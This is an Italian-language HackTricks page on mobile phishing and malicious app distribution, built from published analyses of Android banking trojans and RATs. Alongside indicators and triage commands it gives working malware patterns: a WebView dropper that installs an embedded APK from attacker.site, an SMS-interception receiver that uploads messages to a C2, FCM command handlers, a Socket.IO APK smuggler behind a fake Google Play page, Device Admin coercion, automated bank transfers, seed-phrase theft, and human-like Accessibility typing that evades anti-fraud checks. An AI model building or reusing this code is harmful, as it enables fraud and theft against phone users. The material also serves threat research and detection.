Mobile Phishing & Malicious App Distribution (Android & iOS)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

[!INFO] Questa pagina copre tecniche utilizzate da threat actors per distribuire malicious Android APKs e iOS mobile-configuration profiles tramite phishing (SEO, social engineering, fake stores, dating apps, ecc.). Il materiale è adattato dalla campagna SarangTrap esposta da Zimperium zLabs (2025) e altre ricerche pubbliche.

Flusso dell’attacco

  1. SEO/Phishing Infrastructure
  • Registrare decine di domini simili (siti di incontri, condivisione cloud, servizi auto…). – Usare parole chiave nella lingua locale e emoji nell’elemento <title> per posizionarsi su Google. – Ospitare sia istruzioni di installazione Android (.apk) che iOS sulla stessa landing page.
  1. Download di prima fase
  • Android: link diretto a un APK non firmato o di “store di terze parti”.
  • iOS: itms-services:// o link HTTPS semplice a un profilo mobileconfig malevolo (vedi sotto).
  1. Ingegneria sociale post-installazione
  • Al primo avvio l’app richiede un codice di invito / verifica (illusione di accesso esclusivo).
  • Il codice viene inviato via POST su HTTP al Command-and-Control (C2).
  • Il C2 risponde {"success":true} ➜ il malware continua.
  • Analisi dinamica Sandbox/AV che non invia mai un codice valido non osserva comportamento malevolo (evasione).
  1. Abuso delle autorizzazioni a runtime (Android)
  • Le autorizzazioni pericolose vengono richieste solo dopo una risposta positiva del C2:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
  • Varianti recenti rimuovono <uses-permission> per SMS da AndroidManifest.xml ma lasciano il percorso di codice Java/Kotlin che legge gli SMS tramite reflection ⇒ abbassa il punteggio statico pur restando funzionale su dispositivi che concedono il permesso tramite abuso di AppOps o vecchi target.
  1. Interfaccia di facciata & raccolta in background
  • L’app mostra viste innocue (SMS viewer, gallery picker) implementate localmente.
  • Nel frattempo esfiltra:
  • IMEI / IMSI, numero di telefono
  • Dump completo di ContactsContract (array JSON)
  • JPEG/PNG da /sdcard/DCIM compressi con Luban per ridurre la dimensione
  • Contenuto SMS opzionale (content://sms) I payload vengono compressi in batch e inviati via HTTP POST /upload.php.
  1. Tecnica di distribuzione iOS
  • Un singolo mobile-configuration profile può richiedere PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration ecc. per iscrivere il dispositivo in una supervisione simile a “MDM”.
  • Istruzioni di social-engineering:
  1. Aprire Settings ➜ Profile downloaded.
  2. Toccare Install tre volte (screenshot sulla pagina di phishing).
  3. Trust the unsigned profile ➜ l’attaccante ottiene l’entitlement Contacts & Photo senza revisione dell’App Store.
  4. Livello di rete
  • HTTP non cifrato, spesso sulla porta 80 con header HOST come api.<phishingdomain>.com.
  • User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (no TLS → facile da individuare).

Consigli per il Red Team

  • Dynamic Analysis Bypass – Durante l’analisi del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo malevolo.
  • Manifest vs. Runtime Diff – Confrontare aapt dump permissions con il runtime PackageManager#getRequestedPermissions(); l’assenza di dangerous perms (permessi pericolosi) è un campanello d’allarme.
  • Network Canary – Configurare iptables -p tcp --dport 80 -j NFQUEUE per rilevare burst di POST sospetti dopo l’inserimento del codice.
  • mobileconfig Inspection – Usare security cms -D -i profile.mobileconfig su macOS per elencare PayloadContent e individuare entitlements eccessive.

Useful Frida Snippet: Auto-Bypass Invitation Code

Frida: auto-bypass del codice di invito ```javascript // frida -U -f com.badapp.android -l bypass.js --no-pause // Hook HttpURLConnection write to always return success Java.perform(function() { var URL = Java.use('java.net.URL'); URL.openConnection.implementation = function() { var conn = this.openConnection(); var HttpURLConnection = Java.use('java.net.HttpURLConnection'); if (Java.cast(conn, HttpURLConnection)) { conn.getResponseCode.implementation = function(){ return 200; }; conn.getInputStream.implementation = function(){ return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes()); }; } return conn; }; }); ```

Indicatori (Generici)

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.

Catena di distribuzione attraverso piattaforme affidabili

  • Video esca su YouTube → la descrizione contiene un short link
  • Shortlink → sito di phishing su GitHub Pages che imita il portale legittimo
  • Lo stesso repo GitHub ospita un APK con un falso badge “Google Play” che punta direttamente al file
  • Pagine di phishing dinamiche ospitate su Replit; il canale di comando remoto usa Firebase Cloud Messaging (FCM)

Dropper con embedded payload e installazione offline

  • Il primo APK è un installer (dropper) che include il malware reale in assets/app.apk e invita l’utente a disattivare Wi‑Fi/mobile data per attenuare il rilevamento cloud.
  • L’embedded payload si installa sotto un’etichetta innocua (es. “Secure Update”). Dopo l’installazione, sia l’installer sia il payload sono presenti come app separate.

Suggerimento per triage statico (grep for embedded payloads):

unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
  • Malware recupera un elenco in testo in chiaro, separato da virgole, di endpoint attivi da uno shortlink; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.

Esempio (sanitizzato):

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

Pseudocodice:

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

WebView-based UPI credential harvesting

  • Il passaggio “Make payment of ₹1 / UPI‑Lite” carica un form HTML dell’attaccante dall’endpoint dinamico all’interno di un WebView e cattura i campi sensibili (telefono, banca, UPI PIN) che vengono POSTati a addup.php.

Loader minimo:

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Self-propagation and SMS/OTP interception

  • Al primo avvio vengono richieste autorizzazioni aggressive:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
  • I contatti vengono ciclati per inviare massivamente SMS di smishing dal dispositivo della vittima.
  • Gli SMS in arrivo vengono intercettati da un broadcast receiver e caricati con metadati (mittente, corpo, slot SIM, ID casuale per dispositivo) a /addsm.php.

Bozza del receiver:

public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM) come C2 resiliente

  • Il payload si registra su FCM; i messaggi push contengono un campo _type usato come switch per attivare azioni (es., aggiornare modelli di testo per phishing, attivare/disattivare comportamenti).

Esempio di payload FCM:

{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

Bozza del handler:

@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

Indicators/IOCs

  • APK contiene un payload secondario in assets/app.apk
  • WebView carica pagamenti da gate.htm ed esfiltra verso /addup.php
  • Esfiltrazione SMS verso /addsm.php
  • Fetch di configurazione guidato da shortlink (es., rebrand.ly/*) che restituisce endpoint CSV
  • App etichettate genericamente come “Update/Secure Update”
  • Messaggi FCM data con un discriminatore _type in app non attendibili

Smuggling di APK basato su Socket.IO/WebSocket + Pagine false di Google Play

Gli attaccanti sostituiscono sempre più spesso i link APK statici con un canale Socket.IO/WebSocket incorporato in esche che imitano Google Play. Questo nasconde l’URL del payload, bypassa i filtri su URL/estensioni e mantiene un’esperienza di installazione realistica.

Flusso tipico lato client osservato nel mondo reale:

Downloader finto per Google Play via Socket.IO (JavaScript) ```javascript // Open Socket.IO channel and request payload const socket = io("wss:///ws", { transports: ["websocket"] }); socket.emit("startDownload", { app: "com.example.app" });

// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

PerchĂŠ elude i controlli semplici:
- Nessun URL APK statico è esposto; il payload viene ricostruito in memoria dai frame WebSocket.
- I filtri URL/MIME/estensione che bloccano risposte .apk dirette possono non rilevare dati binari veicolati tramite WebSockets/Socket.IO.
- I crawler e le sandbox URL che non eseguono WebSockets non recupereranno il payload.

Vedi anche WebSocket tradecraft e tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Abuso Android Accessibility/Overlay e Device Admin, automazione ATS e orchestrazione relay NFC – caso di studio RatOn

La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le moderne operazioni di mobile phishing combinino WebView droppers, Accessibility-driven UI automation, overlays/ransom, coercizione tramite Device Admin, Automated Transfer System (ATS), takeover di crypto wallet e perfino NFC-relay orchestration. Questa sezione astrae le tecniche riutilizzabili.

### Stage-1: WebView → bridge di installazione nativo (dropper)
Gli attacker presentano una WebView che punta a una pagina attacker e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML richiama il codice nativo che installa un APK di seconda fase incluso negli assets del dropper e lo avvia direttamente.

Schema minimo:

<details>
<summary>Pattern minimo dropper Stage-1 (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

HTML sulla pagina:

<button onclick="bridge.installApk()">Install</button>

Dopo l’installazione, il dropper avvia il payload tramite package/activity esplicito:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: app non attendibili che chiamano addJavascriptInterface() ed espongono metodi simili a installer a WebView; APK che include un payload secondario incorporato sotto assets/ e invoca la Package Installer Session API.

Stage-2 apre un WebView che ospita una pagina “Access”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l’abilitazione del servizio malevolo. Una volta concesso, il malware usa Accessibility per effettuare automaticamente click attraverso i successivi dialog di permesso runtime (contatti, overlay, gestione impostazioni di sistema, ecc.) e richiede Device Admin.

  • Accessibility aiuta programmaticamente ad accettare prompt successivi trovando pulsanti come “Allow”/“OK” nell’albero dei nodi e inviando click.
  • Overlay permission check/request:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

Vedi anche:

Accessibility Services Abuse

Overlay phishing/ransom via WebView

Gli operatori possono inviare comandi per:

  • renderizzare un overlay a schermo intero da un URL, o
  • inviare HTML inline che viene caricato in un overlay WebView.

Usi probabili: coercizione (inserimento PIN), apertura del wallet per catturare i PIN, messaggistica di riscatto. Tenere un comando per verificare che l’autorizzazione overlay sia concessa se manca.

Remote control model – text pseudo-screen + screen-cast

  • Bassa banda: eseguire periodicamente il dump dell’albero di nodi Accessibility, serializzare i testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come txt_screen una tantum e screen_live in continuo).
  • Alta fedeltĂ : richiedere MediaProjection e avviare screen-casting/recording su richiesta (comandi come display / record).

ATS playbook (automazione app bancarie)

Dato un task JSON, aprire l’app bancaria, guidare la UI tramite Accessibility con un mix di query testuali e tap su coordinate, e inserire il payment PIN della vittima quando richiesto.

Esempio di task:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Esempi di testi visti in un flusso target (CZ → EN):

  • “NovĂĄ platba” → “Nuovo pagamento”
  • “Zadat platbu” → “Inserisci pagamento”
  • “NovĂ˝ příjemce” → “Nuovo beneficiario”
  • “DomĂĄcĂ­ číslo účtu” → “Numero di conto domestico”
  • “Další” → “Avanti”
  • “Odeslat” → “Invia”
  • “Ano, pokračovat” → “SĂŹ, continua”
  • “Zaplatit” → “Paga”
  • “Hotovo” → “Fatto”

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Estrazione della seed dai wallet crypto

Obiettivi come MetaMask, Trust Wallet, Blockchain.com, Phantom. Flusso: sbloccare (PIN rubato o password fornita), navigare in Sicurezza/Recupero, rivelare/mostrare seed phrase, keylog/exfiltrate it. Implementare selettori sensibili alla localizzazione (EN/RU/CZ/SK) per stabilizzare la navigazione tra le lingue.

Coercizione Device Admin

Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:

  • Blocco immediato:
dpm.lockNow();
  • Far scadere la credenziale corrente per forzare la modifica (Accessibility cattura il nuovo PIN/password):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
  • Forzare lo sblocco non biometrico disabilitando le funzionalitĂ  biometriche del keyguard:
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Nota: Molti controlli di DevicePolicyManager richiedono Device Owner/Profile Owner sulle versioni recenti di Android; alcune build OEM possono essere permissive. Verificare sempre sul target OS/OEM.

NFC relay orchestration (NFSkate)

Stage-3 può installare e avviare un modulo NFC-relay esterno (es., NFSkate) e persino passargli un template HTML per guidare la vittima durante il relay. Questo abilita cash-out contactless card-present insieme ad ATS online.

Contesto: NFSkate NFC relay.

Operator command set (sample)

  • UI/stato: txt_screen, screen_live, display, record
  • Social: send_push, Facebook, WhatsApp
  • Sovrapposizioni: overlay (inline HTML), block (URL), block_off, access_tint
  • Wallets: metamask, trust, blockchain, phantom
  • ATS: transfer, check_limit, limit
  • Dispositivo: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
  • Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
  • NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

Gli attori della minaccia mixano sempre più l’automazione basata su Accessibility con anti-detection tarati contro semplici biometrie comportamentali. Un recente banker/RAT presenta due modalità complementari di invio testo e un toggle per l’operatore per simulare la digitazione umana con cadenza randomizzata.

  • ModalitĂ  Discovery: enumerare i nodi visibili con selector e bounds per mirare con precisione gli input (ID, text, contentDescription, hint, bounds) prima di agire.
  • Doppia iniezione di testo:
  • ModalitĂ  1 – ACTION_SET_TEXT direttamente sul nodo target (stabile, senza tastiera);
  • ModalitĂ  2 – impostazione della clipboard + ACTION_PASTE nel nodo focalizzato (funziona quando il setText diretto è bloccato).
  • Cadenza simile a umana: suddividere la stringa fornita dall’operatore e inviarla carattere per carattere con ritardi randomizzati di 300–3000 ms tra gli eventi per eludere le euristiche di “machine-speed typing”. Implementato o crescendo progressivamente il valore via ACTION_SET_TEXT, o incollando un carattere alla volta.
Bozza Java: scoperta dei nodi + input ritardato per carattere tramite setText o clipboard+paste ```java // Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds void discover(AccessibilityNodeInfo r, List out){ if (r==null) return; Rect b=new Rect(); r.getBoundsInScreen(b); CharSequence id=r.getViewIdResourceName(), txt=r.getText(), cd=r.getContentDescription(); out.add(String.format("cls=%s id=%s txt=%s desc=%s b=%s", r.getClassName(), id, txt, cd, b.toShortString())); for(int i=0;i

// Mode 1: progressively set text with randomized 300–3000 ms delays void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{ String cur = “”; for (char c: s.toCharArray()){ cur += c; Bundle b=new Bundle(); b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur); field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

// Mode 2: clipboard + paste per-char with randomized delays void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{ field.performAction(AccessibilityNodeInfo.ACTION_FOCUS); ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE); for (char c: s.toCharArray()){ cm.setPrimaryClip(ClipData.newPlainText(“x”, Character.toString(c))); field.performAction(AccessibilityNodeInfo.ACTION_PASTE); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

</details>

Overlay di blocco per copertura di frode:
- Renderizzare un full-screen `TYPE_ACCESSIBILITY_OVERLAY` con opacitĂ  controllata dall'operatore; mantenerlo opaco per la vittima mentre l'automazione remota procede sotto.
- Comandi tipicamente esposti: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Overlay minimo con alpha regolabile:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);

Primitive di controllo dell’operatore spesso viste: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Y (condivisione dello schermo).

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks